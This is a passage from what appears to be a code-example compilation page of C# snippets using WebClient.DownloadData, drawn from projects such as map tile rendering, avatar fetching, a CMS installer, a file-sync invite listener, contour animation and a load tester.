                    if (layer.Name == "building")
                    {
                        CurrentBrush = building;
                    }
                    if (layer.Name == "transportation")
                    {
                        CurrentBrush = road;
                        Transport    = true;
                    }
                    else
                    {
                        Transport = false;
                    }

                    TreeNode layernode = new TreeNode(layer.Name);
                    uint extent        = layer.Extent;
                    tv.Nodes.Add(layernode);
                    foreach (VectorTileFeature feature in layer.VectorTileFeatures)
                    {
                        if ((layer.Name == "landcover") &&
                            (feature.Attributes[0].Key == "class") &&
                            (feature.Attributes[0].Value.Equals("grass")))
                        {
                            CurrentBrush = grass;
                        }


                        if ((layer.Name == "landuse") &&
                            (feature.Attributes[0].Key == "class"))
                        {
                            if (feature.Attributes[0].Value.Equals("residential"))
                            {
                                CurrentBrush = residential;
                            }

                            if (feature.Attributes[0].Value.Equals("commercial"))
                            {
                                CurrentBrush = commercial;
                            }

                            if (feature.Attributes[0].Value.Equals("retail"))
                            {
                                CurrentBrush = retail;
                            }

                            if (feature.Attributes[0].Value.Equals("industrial"))
                            {
                                CurrentBrush = industrial;
                            }

                            if (feature.Attributes[0].Value.Equals("railway"))
                            {
                                CurrentBrush = railway;
                            }
                        }

                        if ((layer.Name == "park") &&
                            (feature.Attributes[0].Key == "class") &&
                            (feature.Attributes[0].Value.Equals("nature_reserve")))
                        {
                            CurrentBrush = forest;
                        }

                        TreeNode featurenode = new TreeNode(feature.Id);
                        layernode.Nodes.Add(featurenode);

                        featurenode.Nodes.Add(feature.GeometryType.ToString());

                        foreach (List <Coordinate> coordlist in feature.Geometry)
                        {
                            TreeNode coordlistnode = new TreeNode("Coordinates");
                            featurenode.Nodes.Add(coordlistnode);

                            List <Point> points = new List <Point>();

                            foreach (Coordinate c in coordlist)
                            {
                                var v              = c.ToPosition(x, y, zoom, extent);
                                string coord       = string.Format("{0},{1} ({2},{3})", v.Latitude, v.Longitude, c.X, c.Y);
                                TreeNode coordnode = new TreeNode(coord);
                                coordlistnode.Nodes.Add(coordnode);
                                points.Add(new Point((int)c.X, (int)c.Y));
                            }

                            if (points.Count > 1)
                            {
                                if (Transport == true)
                                {
                                    g.DrawLines(transportpen, points.ToArray());
                                }
                                else
                                {
                                    g.FillPolygon(CurrentBrush, points.ToArray());
                                }
                            }

                            //TreeNode coord = new TreeNode(item.)
                        }

                        foreach (KeyValuePair <string, object> att in feature.Attributes)
                        {
                            TreeNode attNode = new TreeNode(att.Key);
                            if (att.Key.Equals("class"))
                            {
                                featurenode.Text += " " + att.Value;
                            }

                            if (att.Key.Equals("name"))
                            {
                                featurenode.Text += ": " + att.Value;
                            }

                            featurenode.Nodes.Add(att.Key + ":" + att.Value);
                            //Console.WriteLine("   -" + att.Key + ":" + att.Value);
                        }
                    }
                    // layernode.ExpandAll();
                }

                tv.EndUpdate();

                g.Dispose();
                string spath = FilePath.GetPath(new vector3(x, y, zoom), "biome") + ".png";

                string sKey = "Key\n";
                sKey       += ColToS("water", WaterColor);
                sKey       += ColToS("grass", GrassColor);
                sKey       += ColToS("forest", ForestColor);
                sKey       += ColToS("industrial", Color.Brown);
                sKey       += ColToS("residential", Color.Purple);
                sKey       += ColToS("commercial", Color.Gray);
                sKey       += ColToS("retail", Color.Orange);
                sKey       += ColToS("railway", Color.LightGray);
                sKey       += ColToS("road", Color.White);
                sKey       += ColToS("building", Color.DarkGray);

                File.WriteAllText("data\\" + zoom + "\\biome\\key.txt", sKey);

                Bitmap lo = new Bitmap(256, 256);
                using (var gr = Graphics.FromImage(lo))
                {
                    gr.DrawImage(bmp, 0, 0, lo.Width, lo.Height);
                }
                lo.Save(spath, ImageFormat.Png);
                bmp.Dispose();
            });
        }
Example #50
0
        public string GetAvatar(string email, int size)
        {
            ServicePointManager.ServerCertificateValidationCallback = GetAvatarValidationCallBack;
            string fetch_avatars_option = this.config.GetConfigOption("fetch_avatars");

            if (fetch_avatars_option != null && fetch_avatars_option.Equals(bool.FalseString))
            {
                return(null);
            }

            email = email.ToLower();

            if (this.skipped_avatars.Contains(email))
            {
                return(null);
            }

            string avatars_path = new string [] { Path.GetDirectoryName(this.config.FullPath),
                                                  "avatars", size + "x" + size }.Combine();

            string avatar_file_path;

            try {
                avatar_file_path = Path.Combine(avatars_path, email.MD5() + ".png");
            } catch (InvalidOperationException e) {
                SparkleLogger.LogInfo("Controller", "Error fetching avatar for " + email, e);
                return(null);
            }

            if (File.Exists(avatar_file_path))
            {
                if (new FileInfo(avatar_file_path).CreationTime < DateTime.Now.AddDays(-1))
                {
                    File.Delete(avatar_file_path);
                }
                else
                {
                    return(avatar_file_path);
                }
            }

            WebClient client = new WebClient();
            string    url    = "https://gravatar.com/avatar/" + email.MD5() + ".png?s=" + size + "&d=404";

            try {
                byte [] buffer = client.DownloadData(url);

                if (buffer.Length > 255)
                {
                    if (!Directory.Exists(avatars_path))
                    {
                        Directory.CreateDirectory(avatars_path);
                        SparkleLogger.LogInfo("Controller", "Created '" + avatars_path + "'");
                    }

                    File.WriteAllBytes(avatar_file_path, buffer);
                    SparkleLogger.LogInfo("Controller", "Fetched " + size + "x" + size + " avatar for " + email);

                    return(avatar_file_path);
                }
                else
                {
                    return(null);
                }
            } catch (Exception e) {
                SparkleLogger.LogInfo("Controller", "Error fetching avatar for " + email, e);
                skipped_avatars.Add(email);

                return(null);
            }
        }
Example #51
0
        protected void ParseHTTPPage(string directory, string filter)
        {
            try
            {
                string[] filterlist = filter.Split(';');
                if (!FileList.IsHTMLContent(directory))
                {
                    directory = GetPath(directory);
                }

                string uristring = ExtractUrifromUrl(directory);

                WebClient client   = new WebClient();
                byte[]    pagedata = client.DownloadData(directory);
                string[]  hrefs    = ExtractHrefsFromPage(pagedata);

                ArrayList dirs  = new ArrayList();
                ArrayList files = new ArrayList();
                foreach (string uri in hrefs)
                {
                    if (uri.EndsWith("/"))
                    {
                        //	handle the directory
                        if (uri.StartsWith(uristring))
                        {
                            dirs.Add(uri.Substring(uristring.Length).Trim('/'));
                        }
                    }
                    else
                    {
                        string file = Path.GetFileName(uri);
                        foreach (string query in filterlist)
                        {
                            if (System.Text.RegularExpressions.Regex.IsMatch(file, "." + query.Replace(".", "\\."), RegexOptions.IgnoreCase))
                            {
                                files.Add(file);
                                break;
                            }
                        }
                    }
                }

                _directories = new string[dirs.Count];
                dirs.CopyTo(_directories);
                System.Array.Sort(_directories);

                _files = new string[files.Count];
                files.CopyTo(_files);
                System.Array.Sort(_files);

                _basedirectory = directory;
                if (!_basedirectory.EndsWith("/"))
                {
                    _basedirectory += "/";
                }
            }
            catch (Exception except)
            {
                System.Diagnostics.Trace.WriteLine("Exception parsing URL: " + except.Message);
            }
            return;
        }
 private void DownloadAndFilter(string textureUrl)
 {
     WebClient client = new WebClient ();
     mTextureData = client.DownloadData(textureUrl);
     Debug.Log("Texture " + textureUrl + " downloaded, bytes="+mTextureData.Length);
 }
Example #53
0
 protected override Task <byte[]> DownloadDataAsync(WebClient wc, string address) => Task.Run(() => wc.DownloadData(address));
Example #54
0
    private void workerDB_OnFinished(object sender, EventArgs e)
    {
        CreateDBObjects = chkCreateDatabaseObjects.Checked;

        DBInstalled = true;

        // Check the DB connection
        pnlLog.Visible = false;

        // Try to set connection string into db only if not running on Azure
        bool setConnectionString = !AzureHelper.IsRunningOnAzure && writePermissions;

        // Set connection string
        if (SqlHelperClass.IsConnectionStringInitialized || (setConnectionString && SettingsHelper.SetConnectionString("CMSConnectionString", ConnectionString)))
        {
            if (SqlHelperClass.IsConnectionStringInitialized)
            {
                CMSAppBase.ReInit();
            }
            SqlHelperClass.ConnectionString = ConnectionString;
            dbReady = true;

            // Set property indicating that db objects are installed
            SqlHelper.IsDatabaseAvailable = true;

            // If this is installation to existing BD and objects are not created
            // Add license keys
            bool licensesAdded = true;

            if (CreateDBObjects && (ucSiteCreationDialog.CreationType != CMSInstall_Controls_SiteCreationDialog.CreationTypeEnum.ExistingSite))
            {
                licensesAdded = AddTrialLicenseKeys(ConnectionString);
            }

            if (licensesAdded)
            {
                if ((hostName != "localhost") && (hostName != "127.0.0.1"))
                {
                    // Check if license key for current domain is present
                    LicenseKeyInfo lki = LicenseKeyInfoProvider.GetLicenseKeyInfo(hostName);
                    wzdInstaller.ActiveStepIndex = lki == null ? 4 : 5;
                }
                else
                {
                    wzdInstaller.ActiveStepIndex = 5;
                }
            }
            else
            {
                wzdInstaller.ActiveStepIndex = 4;
                ucLicenseDialog.SetLicenseExpired();
            }

            // Request meta file
            try
            {
                WebClient client = new WebClient();
                string url = URLHelper.Url.Scheme + "://" + URLHelper.Url.Host + URLHelper.ApplicationPath.TrimEnd('/') + "/CMSPages/GetMetaFile.aspx";
                client.DownloadData(url);
                client.Dispose();
            }
            catch
            {
            }
        }
        else
        {
            string message = string.Empty;
            if (AzureHelper.IsRunningOnAzure)
            {
                string connStringValue = ConnectionHelper.GetConnectionString(authenticationType, txtServerName.Text.Trim(), Database, txtDBUsername.Text.Trim(), ViewState["install.password"].ToString(), "English", 240, true, true);
                string connString = "&lt;add name=\"CMSConnectionString\" connectionString=\"" + connStringValue + "\"/&gt;";
                string appSetting = "&lt;Setting name=\"CMSConnectionString\" value=\"" + connStringValue + "\"/&gt;";
                message = string.Format(ResHelper.GetFileString("Install.ConnectionStringAzure"), connString, appSetting);
            }
            else
            {
                string connString = ConnectionHelper.GetConnectionString(authenticationType, txtServerName.Text.Trim(), Database, txtDBUsername.Text.Trim(), ViewState["install.password"].ToString(), 240, true);
                message = ResHelper.GetFileString("Install.ConnectionStringError") + " <br/><br/><strong>&lt;add name=\"CMSConnectionString\" connectionString=\"" + connString + "\"/&gt;</strong><br/><br/>";

                // Show troubleshoot link
                hlpTroubleshoot.Visible = true;
                hlpTroubleshoot.TopicName = "DiskPermissions";
                hlpTroubleshoot.Text = ResHelper.GetFileString("Install.ErrorPermissions");
            }

            wzdInstaller.ActiveStepIndex = 2;
            lblErrorConnMessage.Text = message;
        }
    }
Example #55
0
        private void HandleClient(object client)
        {
            TcpClient     tcp_client    = (TcpClient)client;
            NetworkStream client_stream = tcp_client.GetStream();

            byte [] message = new byte [4096];
            int     bytes_read;

            while (true)
            {
                bytes_read = 0;

                try {
                    // Blocks until the client sends a message
                    bytes_read = client_stream.Read(message, 0, 4096);
                } catch {
                    Console.WriteLine("Socket error...");
                }

                // The client has disconnected
                if (bytes_read == 0)
                {
                    break;
                }

                ASCIIEncoding encoding         = new ASCIIEncoding();
                string        received_message = encoding.GetString(message, 0, bytes_read);
                string        invite_xml       = "";

                if (received_message.StartsWith(Uri.UriSchemeHttp) ||
                    received_message.StartsWith(Uri.UriSchemeHttps))
                {
                    WebClient web_client = new WebClient();

                    try {
                        // Fetch the invite file
                        byte [] buffer = web_client.DownloadData(received_message);
                        SparkleHelpers.DebugInfo("Invite", "Received: " + received_message);

                        invite_xml = ASCIIEncoding.ASCII.GetString(buffer);
                    } catch (WebException e) {
                        SparkleHelpers.DebugInfo("Invite", "Failed downloading: " +
                                                 received_message + " " + e.Message);
                        continue;
                    }
                }
                else if (received_message.StartsWith(Uri.UriSchemeFile))
                {
                    try {
                        received_message = received_message.Replace(Uri.UriSchemeFile + "://", "");
                        invite_xml       = File.ReadAllText(received_message);
                    } catch {
                        SparkleHelpers.DebugInfo("Invite", "Failed opening: " + received_message);
                        continue;
                    }
                }
                else
                {
                    SparkleHelpers.DebugInfo("Invite",
                                             "Path to invite must use either the file:// or http(s):// scheme");

                    continue;
                }

                XmlDocument xml_document = new XmlDocument();
                XmlNode     node;
                string      host  = "";
                string      path  = "";
                string      token = "";

                try {
                    xml_document.LoadXml(invite_xml);

                    node = xml_document.SelectSingleNode("/sparkleshare/invite/host/text()");
                    if (node != null)
                    {
                        host = node.Value;
                    }

                    node = xml_document.SelectSingleNode("/sparkleshare/invite/path/text()");
                    if (node != null)
                    {
                        path = node.Value;
                    }

                    node = xml_document.SelectSingleNode("/sparkleshare/invite/token/text()");
                    if (node != null)
                    {
                        token = node.Value;
                    }
                } catch (XmlException e) {
                    SparkleHelpers.DebugInfo("Invite", "Not valid XML: " + received_message + " " + e.Message);
                    return;
                }

                if (InviteReceived != null)
                {
                    InviteReceived(new SparkleInvite(host, path, token));
                }
            }

            tcp_client.Close();
        }
    public ContourAnimationInfo getContourAnimations(ContourQuery contourQuery)
    {
        List<List<TrendingDataLocation>> frames = GetFramesFromHistorian(contourQuery);
        PiecewiseLinearFunction colorScale = GetColorScale(contourQuery);
        Func<double, double> colorFunc = colorScale;

        // The actual startDate is the timestamp of the
        // first frame after contourQuery.GetStartDate()
        DateTime startDate = contourQuery.GetStartDate();
        int stepSize = contourQuery.StepSize;
        int startTimeOffset = (int)Math.Ceiling((startDate - startDate.Date).TotalMinutes / stepSize);
        startDate = startDate.Date.AddMinutes(startTimeOffset * stepSize);

        double minLat = frames.Min(frame => frame.Min(location => location.Latitude)) - GetLatFromMiles(50.0D);
        double maxLat = frames.Min(frame => frame.Max(location => location.Latitude)) + GetLatFromMiles(50.0D);
        double minLng = frames.Min(frame => frame.Min(location => location.Longitude)) - GetLngFromMiles(50.0D, 0.0D);
        double maxLng = frames.Min(frame => frame.Max(location => location.Longitude)) + GetLngFromMiles(50.0D, 0.0D);

        GeoCoordinate topLeft = new GeoCoordinate(maxLat, minLng);
        GeoCoordinate bottomRight = new GeoCoordinate(minLat, maxLng);
        GSF.Drawing.Point topLeftPoint = s_crs.Translate(topLeft, contourQuery.Resolution);
        GSF.Drawing.Point bottomRightPoint = s_crs.Translate(bottomRight, contourQuery.Resolution);

        topLeftPoint = new GSF.Drawing.Point(Math.Floor(topLeftPoint.X), Math.Floor(topLeftPoint.Y));
        bottomRightPoint = new GSF.Drawing.Point(Math.Ceiling(bottomRightPoint.X), Math.Ceiling(bottomRightPoint.Y));
        topLeft = s_crs.Translate(topLeftPoint, contourQuery.Resolution);
        bottomRight = s_crs.Translate(bottomRightPoint, contourQuery.Resolution);

        int width = (int)(bottomRightPoint.X - topLeftPoint.X + 1);
        int height = (int)(bottomRightPoint.Y - topLeftPoint.Y + 1);

        int animationID;
        string timeZoneID = null;

        using (AdoDataConnection connection = new AdoDataConnection(connectionstring, typeof(SqlConnection), typeof(SqlDataAdapter)))
        {
            connection.ExecuteNonQuery("INSERT INTO ContourAnimation(ColorScaleName, StartTime, EndTime, StepSize) VALUES({0}, {1}, {2}, {3})", contourQuery.ColorScaleName, contourQuery.GetStartDate(), contourQuery.GetEndDate(), contourQuery.StepSize);
            animationID = connection.ExecuteScalar<int>("SELECT @@IDENTITY");

            if (contourQuery.IncludeWeather)
                timeZoneID = connection.ExecuteScalar<string>("SELECT Value FROM Setting WHERE Name = 'XDATimeZone'");
        }

        GSF.Threading.CancellationToken cancellationToken = new GSF.Threading.CancellationToken();
        s_cancellationTokens[animationID] = cancellationToken;

        ProgressCounter progressCounter = new ProgressCounter(frames.Count);
        s_progressCounters[animationID] = progressCounter;

        Action<int> createFrame = i =>
        {
            List<TrendingDataLocation> frame = frames[i];
            IDWFunc idwFunction = GetIDWFunction(contourQuery, frame);
            uint[] pixelData;

            if (contourQuery.IncludeWeather)
            {
                TimeZoneInfo tzInfo = !string.IsNullOrEmpty(timeZoneID)
                    ? TimeZoneInfo.FindSystemTimeZoneById(timeZoneID)
                    : TimeZoneInfo.Local;

                // Weather data is only available in 5-minute increments
                DateTime frameTime = TimeZoneInfo.ConvertTimeToUtc(startDate.AddMinutes(stepSize * i), tzInfo);
                double minutes = (frameTime - frameTime.Date).TotalMinutes;
                int weatherMinutes = (int)Math.Ceiling(minutes / 5) * 5;

                NameValueCollection queryString = HttpUtility.ParseQueryString(string.Empty);
                queryString["service"] = "WMS";
                queryString["request"] = "GetMap";
                queryString["layers"] = "nexrad-n0r-wmst";
                queryString["format"] = "image/png";
                queryString["transparent"] = "true";
                queryString["version"] = "1.1.1";
                queryString["time"] = frameTime.Date.AddMinutes(weatherMinutes).ToString("o");
                queryString["height"] = height.ToString();
                queryString["width"] = width.ToString();
                queryString["srs"] = "EPSG:3857";

                GSF.Drawing.Point topLeftProjected = s_crs.Projection.Project(topLeft);
                GSF.Drawing.Point bottomRightProjected = s_crs.Projection.Project(bottomRight);
                queryString["bbox"] = string.Join(",", topLeftProjected.X, bottomRightProjected.Y, bottomRightProjected.X, topLeftProjected.Y);

                string weatherURL = "http://mesonet.agron.iastate.edu/cgi-bin/wms/nexrad/n0r-t.cgi?" + queryString.ToString();

                using (WebClient client = new WebClient())
                using (MemoryStream stream = new MemoryStream(client.DownloadData(weatherURL)))
                using (Bitmap bitmap = new Bitmap(stream))
                {
                    pixelData = bitmap.ToPixelData();
                }
            }
            else
            {
                pixelData = new uint[width * height];
            }

            if (cancellationToken.IsCancelled)
                return;

            for (int x = 0; x < width; x++)
            {
                if (cancellationToken.IsCancelled)
                    return;

                for (int y = 0; y < height; y++)
                {
                    if (cancellationToken.IsCancelled)
                        return;

                    if (pixelData[y * width + x] > 0)
                        continue;

                    GSF.Drawing.Point offsetPixel = new GSF.Drawing.Point(topLeftPoint.X + x, topLeftPoint.Y + y);
                    GeoCoordinate pixelCoordinate = s_crs.Translate(offsetPixel, contourQuery.Resolution);
                    double interpolatedValue = idwFunction(pixelCoordinate.Longitude, pixelCoordinate.Latitude);
                    pixelData[y * width + x] = (uint)colorFunc(interpolatedValue);
                }
            }

            if (cancellationToken.IsCancelled)
                return;

            using (Bitmap bitmap = BitmapExtensions.FromPixelData(width, pixelData))
            using (MemoryStream stream = new MemoryStream())
            {
                bitmap.Save(stream, ImageFormat.Png);

                using (AdoDataConnection connection = new AdoDataConnection(connectionstring, typeof(SqlConnection), typeof(SqlDataAdapter)))
                {
                    connection.ExecuteNonQuery("INSERT INTO ContourAnimationFrame VALUES({0}, {1}, {2})", animationID, i, stream.ToArray());
                }
            }

            progressCounter.Increment();
        };

        Task.Run(() =>
        {
            ICancellationToken token;
            ProgressCounter counter;
            Parallel.For(0, frames.Count, createFrame);
            s_cancellationTokens.TryRemove(animationID, out token);
            s_progressCounters.TryRemove(animationID, out counter);

            if (cancellationToken.IsCancelled)
            {
                using (AdoDataConnection connection = new AdoDataConnection(connectionstring, typeof(SqlConnection), typeof(SqlDataAdapter)))
                {
                    connection.ExecuteNonQuery("DELETE FROM ContourAnimationFrame WHERE ContourAnimationID = {0}", animationID);
                    connection.ExecuteNonQuery("DELETE FROM ContourAnimation WHERE ID = {0}", animationID);
                }
            }
        });

        s_cleanUpAnimationOperation.TryRunOnceAsync();

        return new ContourAnimationInfo()
        {
            AnimationID = animationID,
            ColorDomain = colorScale.Domain,
            ColorRange = colorScale.Range,
            MinLatitude = bottomRight.Latitude,
            MaxLatitude = topLeft.Latitude,
            MinLongitude = topLeft.Longitude,
            MaxLongitude = bottomRight.Longitude,
            Infos = frames.Select((frame, index) => new ContourInfo()
            {
                Locations = frame,
                URL = string.Format("./mapService.asmx/getContourAnimationFrame?animation={0}&frame={1}", animationID, index),
                Date = contourQuery.GetStartDate().AddMinutes(index * contourQuery.StepSize).ToString()
            }).ToList()
        };
    }
Example #57
0
    public MatchCollection procuraExpressaoHTML(string expressaoRegular, string url)
    {
        byte[] reqHTML;

        Regex expressao = new Regex(expressaoRegular);

        WebClient webClient = new WebClient();
        reqHTML = webClient.DownloadData(url);
        UTF8Encoding objUTF8 = new UTF8Encoding();
        string webpage = objUTF8.GetString(reqHTML);

        MatchCollection listaComparacoes = expressao.Matches(webpage);

        return listaComparacoes;
    }
Example #58
0
 /// <summary>
 /// 获取某个Url地址的Html内容编码
 /// </summary>
 /// <param name="url"></param>
 /// <returns></returns>
 public static string getHtml(string url)
 {
     WebClient myWebClient = new WebClient();
     byte[] myDataBuffer = myWebClient.DownloadData(url);
     return Encoding.UTF8.GetString(myDataBuffer);
 }
        /// <summary>
        /// Runs the load to the URLs.
        /// </summary>
        public void Run()
        {
            var s = Settings;

            s.CurrentThreads++;

            // Prepare the client
            WebClient client = new WebClient();

            // Authenticate specified user
            if (!string.IsNullOrEmpty(UserName))
            {
                client.Headers.Add("Cookie", ".ASPXFORMSAUTH=" + FormsAuthentication.GetAuthCookie(UserName, false).Value);
            }

            // Add user agent header
            if (!string.IsNullOrEmpty(UserAgent))
            {
                client.Headers.Add("user-agent", UserAgent);
            }

            while (!IsCanceled())
            {
                // Run the list of URLs
                foreach (string url in URLs)
                {
                    if (!string.IsNullOrEmpty(url))
                    {
                        if (IsCanceled())
                        {
                            break;
                        }

                        // Wait if some interval specified
                        if (WaitInterval > 0)
                        {
                            Thread.Sleep(WaitInterval);
                        }

                        try
                        {
                            // Get the page
                            client.DownloadData(url);

                            s.SuccessRequests++;
                        }
                        catch (Exception ex)
                        {
                            s.LastError = ex.Message;
                            s.Errors++;
                        }
                    }
                }

                // Decrease number of iterations
                if (NumberOfIterations > 0)
                {
                    NumberOfIterations--;
                }
            }

            // Dispose the client
            client.Dispose();

            s.CurrentThreads--;
        }
Example #60
-1
        public static void DownloadData_InvalidArguments_ThrowExceptions()
        {
            var wc = new WebClient();

            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadData((string)null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadData((Uri)null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadDataAsync((Uri)null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadDataAsync((Uri)null, null); });

            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadDataTaskAsync((string)null); });
            Assert.Throws<ArgumentNullException>("address", () => { wc.DownloadDataTaskAsync((Uri)null); });
        }